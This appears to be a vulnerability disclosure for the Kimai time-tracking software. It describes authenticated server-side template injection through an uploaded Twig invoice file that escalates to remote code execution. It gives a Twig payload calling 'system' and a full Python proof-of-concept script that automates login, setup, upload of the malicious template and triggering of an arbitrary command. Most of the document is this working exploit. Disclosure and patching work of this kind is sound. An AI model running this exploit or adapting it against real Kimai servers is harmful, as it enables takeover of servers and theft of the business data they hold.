Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response
{
    ...
    $content = $this->twig->render($this->getTemplate(), array_merge([
        'entries' => $timesheets,
        'query' => $query,
        ...
    ], $this->getOptions($query)));
    ...
    $content = $this->converter->convertToPdf($content, $pdfOptions);
    ...
    return $this->createPdfResponse($content, $context);
}

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5'
services:

  sqldb:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_HOST='%'
      - MYSQL_DATABASE=kimai
      - MYSQL_USER=kimaiuser
      - MYSQL_PASSWORD=kimaipassword
      - MYSQL_ROOT_PASSWORD=changemeplease

    ports:
      - 3336:3306
    volumes:
      - mysql:/var/lib/mysql
    command: --default-storage-engine innodb
    restart: unless-stopped
    healthcheck:
      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  nginx:
    image: tobybatch/nginx-fpm-reverse-proxy
    ports:
      - 8001:80
    volumes:
      - public:/opt/kimai/public:ro
    restart: unless-stopped
    depends_on:
      - kimai
    healthcheck:
      test:  wget --spider http://nginx/health || exit 1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  kimai: # This is the latest FPM image of kimai
    image: kimai/kimai2:fpm-prod
    environment:
      - ADMINMAIL=admin@kimai.local
      - ADMINPASS=changemeplease
      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
      - memory_limit=1024
    volumes:
      - public:/opt/kimai/public
      # - var:/opt/kimai/var
      # - ./ldap.conf:/etc/openldap/ldap.conf:z
      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
    restart: unless-stopped

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8081:80
    environment:
      - PMA_ARBITRARY=1



  postfix:
    image: catatnight/postfix:latest
    environment:
      maildomain: neontribe.co.uk
      smtp_user: kimai:kimai
    restart: unless-stopped

volumes:
    var:
    public:
    mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing:

Proof of Concept

import requests
import re
import string
import random
import sys

session = requests.session()
BASE_URL = sys.argv[1]


def generate(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def get_csrf(path, session):
    try:
        project_id = ""
        csrf_token = ""
        preview_id = ""
        template_ids = []
        activity_customer_list = []
        
        csrf_login_response = session.get(f"{BASE_URL}{path}").text
        
        # Extract CSRF Token
        pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
        match = pattern.search(csrf_login_response)
        if match:
            csrf_token = match.group(1)
        
        if "performSearch" in path:
            preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
            preview_match = preview_pattern.search(csrf_login_response)
            if preview_match:
                preview_id = preview_match.group(1)

        
        template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
        template_matches = template_pattern.findall(csrf_login_response)
        if template_matches:
            template_ids = [int(id) for id in template_matches]
        
        if "timesheet" in path:
            option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
            option_matches = option_pattern.findall(csrf_login_response)
            if option_matches:
                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
        
        if "project" in path or "activity" in path:
            project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
            if project_id_match:
                project_id = project_id_match.group(1)
        
        return csrf_token, project_id, preview_id, template_ids, activity_customer_list
    
    except Exception as e:
        print(f"Error occurred: {e}")
        return None, None, None, None, None


def login(username,password,csrf,session):
    try:
        params = {"_username": username, "_password": password, "_csrf_token": csrf}
        login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
        if "I forgot my password" not in login_response.text:
            print(f"[+] Logged in: {username}")
            return session
        else:
            print("Wrong username,password", username)
            exit(1)
    except Exception as e:
        print(str(e))
        pass

def create_customer(token,name,session):
    try:

        data = {
            'customer_edit_form[name]': (None, name),
            'customer_edit_form[color]': (None, ''),
            'customer_edit_form[comment]': (None, 'xx'),
            'customer_edit_form[address]': (None, 'xx'),
            'customer_edit_form[company]': (None, ''),
            'customer_edit_form[number]': (None, '0002'),
            'customer_edit_form[vatId]': (None, ''),
            'customer_edit_form[country]': (None, 'DE'),
            'customer_edit_form[currency]': (None, 'EUR'),
            'customer_edit_form[timezone]': (None, 'UTC'),
            'customer_edit_form[contact]': (None, ''),
            'customer_edit_form[email]': (None, ''),
            'customer_edit_form[homepage]': (None, ''),
            'customer_edit_form[mobile]': (None, ''),
            'customer_edit_form[phone]': (None, ''),
            'customer_edit_form[fax]': (None, ''),
            'customer_edit_form[budget]': (None, '0.00'),
            'customer_edit_form[timeBudget]': (None, '0:00'),
            'customer_edit_form[budgetType]': (None, ''),
            'customer_edit_form[visible]': (None, '1'),
            'customer_edit_form[billable]': (None, '1'),
            'customer_edit_form[invoiceTemplate]': (None, ''),
            'customer_edit_form[invoiceText]': (None, ''),
            'customer_edit_form[_token]': (None, token),
        }


        response = session.post(f"{BASE_URL}/admin/customer/create", files=data)

    except Exception as e:
        print(str(e))


def create_project(token, name,project_id ,session):
    try:
        form_data = {
            'project_edit_form[name]': (None, name),
            'project_edit_form[color]': (None, ''),
            'project_edit_form[comment]': (None, ''),
            'project_edit_form[customer]': (None, project_id), 
            'project_edit_form[orderNumber]': (None, ''),
            'project_edit_form[orderDate]': (None, ''),
            'project_edit_form[start]': (None, ''),
            'project_edit_form[end]': (None, ''),
            'project_edit_form[budget]': (None, '0.00'),
            'project_edit_form[timeBudget]': (None, '0:00'),
            'project_edit_form[budgetType]': (None, ''),
            'project_edit_form[visible]': (None, '1'),
            'project_edit_form[billable]': (None, '1'),
            'project_edit_form[globalActivities]': (None, '1'),
            'project_edit_form[invoiceText]': (None, ''),
            'project_edit_form[_token]': (None, token)
        }
        
        response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
        
    except Exception as e:
        print(str(e))


def create_activity(token, name,project_id ,session):
    try:
        form_data = {
            'activity_edit_form[name]': (None, name),
            'activity_edit_form[color]': (None, ''),
            'activity_edit_form[comment]': (None, ''),
            'activity_edit_form[project]': (None, ''),
            'activity_edit_form[budget]': (None, '0.00'),
            'activity_edit_form[timeBudget]': (None, '0:00'),
            'activity_edit_form[budgetType]': (None, ''),
            'activity_edit_form[visible]': (None, '1'),
            'activity_edit_form[billable]': (None, '1'),
            'activity_edit_form[invoiceText]': (None, ''),
            'activity_edit_form[_token]': (None, token),
        }
        
        response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
        
        if response.status_code == 201:
            print(f"[+] Activity created: {name}")

    except Exception as e:
        print(f"An error occurred: {str(e)}")

def upload_malicious_document(token,session):
    try:
        form_data = {
            'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
            'invoice_document_upload_form[_token]': (None, token)
        }
        
        response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
        
        if ".pdf.twig" in response.text:
            print("[+] Twig uploaded successfully!")
        else:
            print("[-] Error while uploading, exiting..")
            exit(1)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
import re

def create_malicious_template(token, name, session):
    try:
        data = {
            'invoice_template_form[name]': name,
            'invoice_template_form[title]': name,
            'invoice_template_form[company]': name,
            'invoice_template_form[vatId]': '',
            'invoice_template_form[address]': '',
            'invoice_template_form[contact]': '',
            'invoice_template_form[paymentTerms]': '',
            'invoice_template_form[paymentDetails]': '',
            'invoice_template_form[dueDays]': '30',
            'invoice_template_form[vat]': '0.000',
            'invoice_template_form[language]': 'en',
            'invoice_template_form[numberGenerator]': 'default',
            'invoice_template_form[renderer]': 'din',
            'invoice_template_form[calculator]': 'default',
            'invoice_template_form[_token]': token
        }
        
        response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
        
        # Define the regex pattern to capture the template ID and match the name
        pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
        
        # Search the response text with the regex pattern
        match = pattern.search(response.text)
        
        if match:
            template_id = match.group(1)  # Extract the captured group
            print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
            return template_id  # Return the captured template ID
        else:
            print("[-] Failed to capture the template ID")
            create_malicious_template(token,name,session)
        
    except Exception as e:
        print(f"An error occurred: {str(e)}")
        exit(1)




def create_timesheet(token, activity, project, session):
    form_data = {
            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
            'timesheet_edit_form[duration]': (None, '0:15'),
            'timesheet_edit_form[end_time]': (None, '12:15 AM'),
            'timesheet_edit_form[customer]': (None, ''),
            'timesheet_edit_form[project]': (None, project),
            'timesheet_edit_form[activity]': (None, activity),
            'timesheet_edit_form[description]': (None, ''),
            'timesheet_edit_form[fixedRate]': (None, ''),
            'timesheet_edit_form[hourlyRate]': (None, ''),
            'timesheet_edit_form[billableMode]': (None, 'auto'),
            'timesheet_edit_form[_token]': (None, token)
        }
    response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
    if response.status_code == 302:  # Changed to 200 as 301 is for redirection
        print(f"[+] Created a new timesheet")


##############################





# login
csrf, _, _, _, _ = get_csrf("/login", session) 
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer

get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)  
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name

get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)  
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)

# create new activity 
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)

# EXPLOIT
######################

# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)

# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)

# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4]  # get the activity_customer_list from get_csrf function

print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
    csrf = get_csrf("/timesheet/create", session)[0]  # Update CSRF token for each iteration
    print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
    create_timesheet(csrf, activity_id, customer_id, session)
    postData = {
        "searchTerm": "",
        "daterange": "",
        "state": "1",
        "billable": "0",
        "exported": "1",
        "orderBy": "begin",
        "order": "DESC",
        "exporter": "pdf"
    }
    # export timesheets so they appear in exported invoices
    export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
    if "PDF-1.4" in export:
        csrf, _, _, _, _ = get_csrf("/invoice/", session)
        # get preview token to construct the preview URL to trigger SSTI
        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
        for template_id in template_ids:
            rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
            # trigger the payload by visiting the renderer URL 
            rce = session.get(rendererURL)
            
            if "PDF-1.4" in rce.text:
                print(rendererURL)
                print("[+] successfully executed payload")
                # save the pdf locally since rendered URL will expire as soon as we end the session
                pdf = f"{generate()}.pdf"
                with open(pdf,'wb') as pdfFile:
                    pdfFile.write(rce.content)
                    pdfFile.flush()
                    pdfFile.close()
                    print(f"[+] Saved results with name: {pdf}")
                exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution